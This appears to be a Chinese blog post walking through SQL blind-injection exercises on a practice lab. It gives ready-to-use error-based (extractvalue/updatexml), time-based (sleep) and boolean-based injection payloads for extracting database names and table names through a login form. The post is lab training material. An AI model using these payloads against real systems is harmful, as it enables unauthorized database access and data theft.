• web安全之SQL盲注的靶场练习和分析


    目录

    SQL盲注-报错回显盲注

    SQL盲注-时间盲注

    SQL盲注-布尔盲注


     

    SQL盲注-报错回显盲注

    在burp里面进行动态抓包,判断符号闭环,如图明显为'闭环

    8635de1538934df8b0b975657a2da4c0.png

    9ca85a7176a1432fb0432b5e16ff25e9.png

    列数3时报错,判断当前列数为2 

    6e3acd72a8ac4473bbd0c76e835d4955.png

    强行报错注入 ,如图获取到版本号 

    1. uname=1212' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))#&passwd=12313&submit=Submit
    2. uname=1212' or updatexml(1,concat(0x7e,database()),0)or'#&passwd=12313&submit=Submit
    3. uname=1212' or extractvalue(1,concat(0x7e,database())) or'#&passwd=12313&submit=Submit

    d8a49611262042e3b875df0f38a508c8.png

    通过updatexml 或者extractvalue进行报错盲注 

    1. uname=1212' union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))#&passwd=12313&submit=Submit
    2. uname=1212' union select 1,updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2)#&passwd=12313&submit=Submit
    3. uname=1212' or updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2) or '#&passwd=12313&submit=Submit

    注意:发现一次放不完,于是用limit进行分页操作,依次取0,1;1,1;2,1;3,1...进行查询 

    a47bbdcadc4640d5980ab569d4955280.png

     

    SQL盲注-时间盲注

    sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

    if(): i f 是 计算机编程语言一个关键字,分支结构的一种

    mid(a,b,c): 从b开始,截取a字符串的c位

    substr(a,b,c): 从b开始,截取字符串a的c长度

    left(database(),1),database() : left(a,b)从左侧截取a的前b位

    length(database())=8 : 判断长度

    ord=ascii ascii(x)=100: 判断x的ascii值是否为100

    例如:

    ?id=1 and sleep(if(length(database())=8,5,3))#
    ?id=1%20and%20sleep(if(mid(database(),1,1)=%27s%27,3,0))#

    输入后发现存在延迟 

    coleak' or sleep(3)#

    8ee4287793d34196b59319d0965d2ad3.png

    测试长度,判断为7

    1. coleak' or sleep(if(length(database())=8,0,2))#
    2. coleak' or sleep(if(length(database())=7,0,2))#

    分别猜测每位的字符

    coleak' or sleep(if(mid(database(),1,1)='p',0,2))#

    后续依次爆破每位的字符 

     

    SQL盲注-布尔盲注

    此关卡连or都无法使用 ,此时只能通过前面获取的name来解题

    e60be76a0965466cba69cc2d096d23b0.png

    4110385273a348189be77f129a7072e9.png

    15e8f7a5036e41b2bb264aedf6c57308.png 

    lucy' and length(database())=7#

    接下来通过二分法进行拆解

    lucy' and ascii(substr(database(),1,1))= 112 #

    7e66234a8aae4d178fa628fc3a128e7d.png

     接下来继续爆破数据库即可

     

  • 相关阅读:
    实践分析丨AscendCL应用编译&运行案例
    【iOS逆向与安全】好用的一套 TCP 类
    代码随想录二刷 Day 34
    Java学习之方法重写/覆盖
    关于Rxjava的简单使用
    mysql 索引
    Java_递归
    图论09-桥和割点
    无痛入门Prometheus:一个强大的开源监控和告警系统,如何快速安装和使用?
    Java之面向对象三大特征
  • 原文地址:https://blog.csdn.net/qq_63701832/article/details/128208295